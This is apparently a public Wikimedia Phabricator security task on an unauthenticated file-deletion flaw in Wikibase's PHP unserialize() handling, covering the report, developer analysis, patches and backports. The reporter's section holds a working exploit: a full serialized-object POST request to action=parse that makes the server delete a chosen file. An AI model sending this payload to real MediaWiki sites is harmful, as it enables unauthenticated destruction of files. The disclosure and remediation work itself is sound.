Page MenuHomePhabricator

CVE-2026-103441: Unauthenticated arbitrary file deletion through Wikibase serialized entity parsing
Closed, ResolvedPublicSecurity

Description

From a report to security@

Reporter: Marco Paciaroni
Credit: bombobombone

Title: Unauthenticated arbitrary file deletion through Wikibase serialized entity parsing

Summary
The public MediaWiki action=parse API accepts contentformat=application/vnd.php.serialized for Wikibase entities. Wikibase passes the request text to PHP unserialize() without disabling object construction. When Widgets is loaded, a public-property Smarty object graph reaches Smarty_Internal_CacheResource_File::releaseLock(), which calls unlink() on an attacker-controlled lock_id.

Impact
An unauthenticated remote caller can delete any file that the MediaWiki PHP process can unlink. This crosses the application-to-filesystem integrity boundary and can affect application, configuration, cache, or other service-account-readable files. The demonstrated chain does not claim RCE.

Affected components
MediaWiki 1.47.0-alpha, revision 228d5c2a83bc5ce54dc4df9928457c4343c60fe
Wikibase Repository
Widgets 1.7.1 or a version containing the demonstrated Smarty classes

Reproduction
1. Check that the target exposes both required extensions:
GET /api.php?action=query&meta=siteinfo&siprop=extensions&format=json
The response should contain WikibaseRepository and Widgets.
2. Create a harmless marker at /tmp/mw-wikibase-smarty-delete.lock that the PHP service account can delete.
3. Send this unauthenticated request:

POST /api.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

action=parse&title=Q1&contentmodel=wikibase-item&contentformat=application%2Fvnd.php.serialized&prop=text&format=json&text=a%3A1%3A%7Bi%3A0%3BO%3A24%3A%22Smarty_Internal_Template%22%3A2%3A%7Bs%3A6%3A%22smarty%22%3BO%3A6%3A%22Smarty%22%3A1%3A%7Bs%3A13%3A%22cache_locking%22%3Bb%3A1%3B%7Ds%3A6%3A%22cached%22%3BO%3A22%3A%22Smarty_Template_Cached%22%3A3%3A%7Bs%3A7%3A%22handler%22%3BO%3A34%3A%22Smarty_Internal_CacheResource_File%22%3A0%3A%7B%7Ds%3A7%3A%22lock_id%22%3Bs%3A35%3A%22%2Ftmp%2Fmw-wikibase-smarty-delete.lock%22%3Bs%3A9%3A%22is_locked%22%3Bb%3A1%3B%7D%7D%7D

Expected result
The API returns an entity-deserialization or parse error, but the marker is absent afterward. A scalar serialized-array control returns the normal deserialization error without deleting the marker.

Root cause
ApiParse.php accepts the caller-controlled content format and text; Wikibase EntityContentDataCodec.php calls unserialize() before validating the result; the Smarty destructor chain invokes releaseLock() and unlink($cached->lock_id).

Suggested remediation
Do not deserialize request-controlled PHP serialization. Prefer JSON. If legacy support is required, use unserialize() with allowed_classes=false and reject objects before entity processing.

Event Timeline

Restricted Application added a subscriber: • Aklapper. · View Herald Transcript

EntityContentDataCodec says that it “Decodes a blob loaded from storage” – I’m thinking this method should never be reachable with userattacker-controlled content. I haven’t followed the call chain from that API request yet, but I don’t see a legitimate use case for such an action=parse request.

The unserialize() call itself is unfortunate, but if we have existing revisions where ancient Wikibase versions stored the content in this way, we might not be able to get rid of it… though we can perhaps limit its impact through the options, e.g. allowed_classes. (But for that we would first need to investigate how this format was being used.)

Hm, so the call comes fairly directly from EntityHandler::unserializeContent(), which in turn is called by ApiParse::execute(); but the same method is also called e.g. in RevisionStore::loadSlotContent(). And the method only has two arguments: the $blob (API text parameter) and the $format (API format parameter). So far I don’t see a way for Wikibase to determine whether this is trusted content (from an already saved page, guarded by some previous software version) or untrusted content (straight from the API input).

Maybe we can limit the formats available through the API, and block application/vnd.php.serialized there even though EntityHandler and EntityContentDataCodec will continue to accept it for the sake of legacy revisions?

(IMHO it wouldn’t hurt for ContentHandler::unserializeContent() to make it much clearer that implementing methods must treat $blob as completely untrusted. Right now there’s no indication of it AFAICT; the class documentation says that “Content is stored in the database in a serialized form”, but that’s evidently not the only place from which serializations may reach the handler.)

Maybe we can limit the formats available through the API, and block application/vnd.php.serialized there[…]?

Tricky; the API gets that list from ContentHandlerFactory::getAllContentFormats(), which is the combination of each content handler’s ContentHandler::getSupportedFormats(); I see no distinction between “internally supported” and “externally supported” here. We could perhaps override that method to only return the JSON format, and then override ContentHandler::isSupportedFormat( $format ) to be like “actually if you give us serialized PHP that’s supported too”, but that feels quite brittle.


The unserialize() call itself is unfortunate, but if we have existing revisions where ancient Wikibase versions stored the content in this way, we might not be able to get rid of it… though we can perhaps limit its impact through the options, e.g. allowed_classes. (But for that we would first need to investigate how this format was being used.)

I’ve looked into it a little bit more and to me it looks like that should only ever have contained nested arrays and no other kinds of objects. Also, I can’t find any evidence that we ever stored content in serialized format – even the oldest item revision contains JSON:

lucaswerkmeister-wmde@deploy1003:~$ mw-debug-repl wikidatawiki
Becoming root...
Finding a mw-debug pod in eqiad...
Now running shell.php for wikidatawiki inside pod/mw-debug.eqiad.pinkunicorn-85b85b8954-crplr on release pinkunicorn...
Psy Shell v0.12.24 (PHP 8.3.33 — cli) by Justin Hileman
> $services = MediaWiki\MediaWikiServices::getInstance();

= MediaWiki\MediaWikiServices {#213}

> $revision = $services->getRevisionStore()->getRevisionById( 103 );

= MediaWiki\Revision\RevisionStoreRecord {#8418}

> echo $services->getBlobStore()->getBlob( $revision->getSlot( 'main' )->getAddress() );

{"label":{"en":"Universe"},"description":[],"aliases":[],"links":{"enwiki":"Universe"},"entity":"q1"}⏎

Based on this, I’ve now changed my mind and think allowed_classes is the best way to address this security vulnerability for now. Banning application/vnd.php.serialized from API input would be a larger project which is better left for public patches afterwards.

But the good news is, Wikibase seems to be the only extension installed in production that’s foolish enough to accept this content format; I don’t see any other content models supporting this format:

lucaswerkmeister-wmde@deploy1003:~$ mw-debug-repl wikidatawiki
Becoming root...
Finding a mw-debug pod in eqiad...
Now running shell.php for wikidatawiki inside pod/mw-debug.eqiad.pinkunicorn-85b85b8954-crplr on release pinkunicorn...
Psy Shell v0.12.24 (PHP 8.3.33 — cli) by Justin Hileman
> $chf = MediaWiki\MediaWikiServices::getInstance()->getContentHandlerFactory();

= MediaWiki\Content\ContentHandlerFactory {#8137}

> sudo foreach ( $chf->handlerSpecs as $model => $class ) { if ( in_array( 'application/vnd.php.serialized', $chf->getContentHandler( $model )->getSupportedFormats() ) ) { echo $model . PHP_EOL; } }

wikibase-item
wikibase-property
wikibase-lexeme

(Same result on commonswiki; no results at all on enwiki.)

Suggested patch, protecting the unserialize() with allowed_classes:

Riskier alternative patch, completely dropping support for application/vnd.php.serialized (I think this should be fine but can’t say for sure):

Also, I can’t find any evidence that we ever stored content in serialized format

I looked a bit more through the Git history, and between commit ee343149ea (10 April 2012) and commit cfae2582ae (merged 5 June 2014) there was theoretically a serializationFormat setting that could be used to change the default format from CONTENT_FORMAT_JSON to CONTENT_FORMAT_SERIALIZED. That said, I don’t see any code to accommodate changing this (i.e. to read content that was serialized under a different default format than the current one), and the setting’s documentation (before it was removed) seems to confirm this:

Warning: do not change this if you already have Wikibase entities in your database, since they will become unreadable!

So it seems like, if any wiki ever changed this setting (why would they?), they were already left stranded when we dropped this setting twelve years ago; there seems to be no need at all for present-day Wikibase to support this format. (For what it’s worth, there’s no evidence in operations/mediawiki-config.git that we ever changed this setting in production.)

Based on that, I would now be happy to go ahead with either of the two patches posted above; the second patch is still somewhat riskier, but I’m mostly convinced it’ll be fine.

The demonstrated chain does not claim RCE.

RCE can be achieved using the gadgets discovered in T422244 and T422757. This should be considered a remote code execution vulnerability affecting Wikimedia wikis.

+1 to the suggested patch.

sbassett triaged this task as Unbreak Now! priority.Aug 19 2026, 4:43 PM
sbassett changed Author Affiliation from N/A to Wikimedia Communities.
sbassett changed Risk Rating from N/A to High.
sbassett changed the task status from Open to In Progress.EditedAug 19 2026, 5:33 PM
sbassett lowered the priority of this task from Unbreak Now! to Medium.
sbassett moved this task from Incoming to In Progress on the Security-Team board.
sbassett subscribed.

I've deployed the suggested patch above to wmf.15 and wmf.16. So I think we should be mitigated in Wikimedia production for now. @matmarex - do we want to include this with the previous RCEs you referenced in any way? I'm not sure there would be much to investigate here, though I suppose we could audit whatever relevant Wikibase logs or db tables this may have affected.

There are also a lot more benign bugs hiding here, apparently. For example, action=parse with the content model and serialization set to JSON and wikibase-item, and the text set to simply {} (https://www.wikidata.org/w/api.php?action=parse&format=json&text=%7B%7D&contentformat=application%2Fjson&contentmodel=wikibase-item&formatversion=2), produces a ContentSerializationException:

The provided entity serialization is neither legacy nor current

(Search logstash mediawiki-errors for reqId:"0571b591-2682-450c-b8ac-65f9953bf67a"; I won’t paste the full Phatality blob here.) Similarly, the text {"type": "item"} produces a RuntimeException (reqId:"a30ae98e-fb69-404f-aaa9-51d9df12224f"):

Deferred decoding resulted in an incompatible entity, expected an entity id to be set, got null

We should fix those once this task is public.


(IMHO it wouldn’t hurt for ContentHandler::unserializeContent() to make it much clearer that implementing methods must treat $blob as completely untrusted. Right now there’s no indication of it AFAICT; the class documentation says that “Content is stored in the database in a serialized form”, but that’s evidently not the only place from which serializations may reach the handler.)

Suggested basic patch:

diff --git i/includes/Content/ContentHandler.php w/includes/Content/ContentHandler.php
index 2b3d5fc4c6..e3265e3eb7 100644
--- i/includes/Content/ContentHandler.php
+++ w/includes/Content/ContentHandler.php
@@ -218,7 +218,9 @@ public function exportTransform( $blob, $format = null ) {
 	 * @stable to override
 	 * @since 1.21
 	 *
-	 * @param string $blob Serialized form of the content
+	 * @param string $blob Serialized form of the content.
+	 * This may be loaded from the database, or it may be untrusted user input
+	 * (e.g. via the action=parse API); handle it accordingly.
 	 * @param string|null $format The format used for serialization
 	 *
 	 * @return Content The Content object created by deserializing $blob

(IMHO it wouldn’t hurt for ContentHandler::unserializeContent() to make it much clearer that implementing methods must treat $blob as completely untrusted. Right now there’s no indication of it AFAICT; the class documentation says that “Content is stored in the database in a serialized form”, but that’s evidently not the only place from which serializations may reach the handler.)

I think an alternative way to resolve this might be to try to prevent untrusted blob input for any content type where ContentHandler::supportsDirectEditing() (or ContentHandler::supportsDirectApiEditing()?) is false? I think at least in Wikibase, the general assumption has been that “we don’t support direct editing, therefore any JSON content we encounter must have been generated by the software and we can assume it’s well-formed”. Evidently action=parse undermines this, but I’m not convinced that this usage of action=parse is actually reasonable or useful. Just to clarify what I mean for the discussion – it would be something like this:

diff --git i/includes/Api/ApiParse.php w/includes/Api/ApiParse.php
index 3c89cd05b1..0566b50b1b 100644
--- i/includes/Api/ApiParse.php
+++ w/includes/Api/ApiParse.php
@@ -344,6 +344,9 @@ public function execute() {
 			}
 
 			$contentHandler = $this->contentHandlerFactory->getContentHandler( $model );
+			if ( !$contentHandler->supportsDirectApiEditing() === false ) {
+				$this->dieWithError( [ 'apierror-badformat-nodirectediting', $format, $model ] );
+			}
 			// Not in the default format, check supported or not
 			if ( $format && !$contentHandler->isSupportedFormat( $format ) ) {
 				$this->dieWithError( [ 'apierror-badformat-generic', $format, $model ] );

(That said, I’m not sure how many other ways there are to reach content deserialization with an invalid blob. Revision import is certainly another route, though that’s at least somewhat limited to trusted users.)

@matmarex - do we want to include this with the previous RCEs you referenced in any way? I'm not sure there would be much to investigate here, though I suppose we could audit whatever relevant Wikibase logs or db tables this may have affected.

I don't think so, the only connection is that they're both vulnerabilities caused by unserializing user input. I guess much of the follow-up work I suggested in T422757 applies here too (basically, we should audit and replace or secure all uses of unserialize() in our codebase).

Hello,

I have revisited the bug and can confirm I have achieved full RCE so all
unserialize bugs should be considered RCEs.

Il giorno lun 24 ago 2026 alle 8:00 PM Rscout <
no-reply@phabricator.wikimedia.org> ha scritto:

Rscout added a project: SecTeam-Processed. View Task
https://phabricator.wikimedia.org/T435210
*TASK DETAIL*
https://phabricator.wikimedia.org/T435210

*EMAIL PREFERENCES*
https://phabricator.wikimedia.org/settings/panel/emailpreferences/

Hey all (particularly @matmarex and @Lucas_Werkmeister_WMDE) - I'm trying to get the patch from T435210#12227318 into the supplemental security release that the Security-Team is trying to get out by the end of this week. I'm not seeing anything else in this task that I'd consider extremely sensitive, and would keep it from being made public, but wanted to double-check that with all of you. Worst case is that we can push up the patch to gerrit and keep this task protected for some period of time.

Change #1346043 had a related patch set uploaded (by SBassett; author: Lucas Werkmeister (WMDE)):

[mediawiki/extensions/Wikibase@master] SECURITY: Don’t allow classes in entity serialization

https://gerrit.wikimedia.org/r/1346043

Change #1346046 had a related patch set uploaded (by SBassett; author: Lucas Werkmeister (WMDE)):

[mediawiki/extensions/Wikibase@REL1_46] SECURITY: Don’t allow classes in entity serialization

https://gerrit.wikimedia.org/r/1346046

Change #1346047 had a related patch set uploaded (by SBassett; author: Lucas Werkmeister (WMDE)):

[mediawiki/extensions/Wikibase@REL1_45] SECURITY: Don’t allow classes in entity serialization

https://gerrit.wikimedia.org/r/1346047

Change #1346048 had a related patch set uploaded (by SBassett; author: Lucas Werkmeister (WMDE)):

[mediawiki/extensions/Wikibase@REL1_43] SECURITY: Don’t allow classes in entity serialization

https://gerrit.wikimedia.org/r/1346048

Change #1346043 merged by jenkins-bot:

[mediawiki/extensions/Wikibase@master] SECURITY: Don’t allow classes in entity serialization

https://gerrit.wikimedia.org/r/1346043

I think making the task public is fine; I’ll just quickly summarize the follow-ups that I think should still be done (or at least have separate tasks) before we close this as completed:

  • update ContentHandler::unserializeContent() docs (basic patch in T435210#12235990)
  • completely drop support for serialized input in Wikibase (second patch in T435210#12227318; see T435210#12227399 for analysis why this patch isn’t actually so risky – I’d just let this ride the train)
  • at least consider disallowing action=parse for non-API-editable content models (basic patch in T435210#12236187)

(Note that I’m currently on loan from to another team, and I’ve set up my inbox to mark all Wikidata-related Phabricator emails as read unless I’m tagged in them. So please ping me again if you want my input :))

Change #1346046 merged by jenkins-bot:

[mediawiki/extensions/Wikibase@REL1_46] SECURITY: Don’t allow classes in entity serialization

https://gerrit.wikimedia.org/r/1346046

Change #1346047 merged by jenkins-bot:

[mediawiki/extensions/Wikibase@REL1_45] SECURITY: Don’t allow classes in entity serialization

https://gerrit.wikimedia.org/r/1346047

Change #1346048 merged by jenkins-bot:

[mediawiki/extensions/Wikibase@REL1_43] SECURITY: Don’t allow classes in entity serialization

https://gerrit.wikimedia.org/r/1346048

sbassett renamed this task from Unauthenticated arbitrary file deletion through Wikibase serialized entity parsing to CVE-2026-103441: Unauthenticated arbitrary file deletion through Wikibase serialized entity parsing.Sep 30 2026, 4:01 PM
sbassett closed this task as Resolved.
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett removed a project: Patch-For-Review.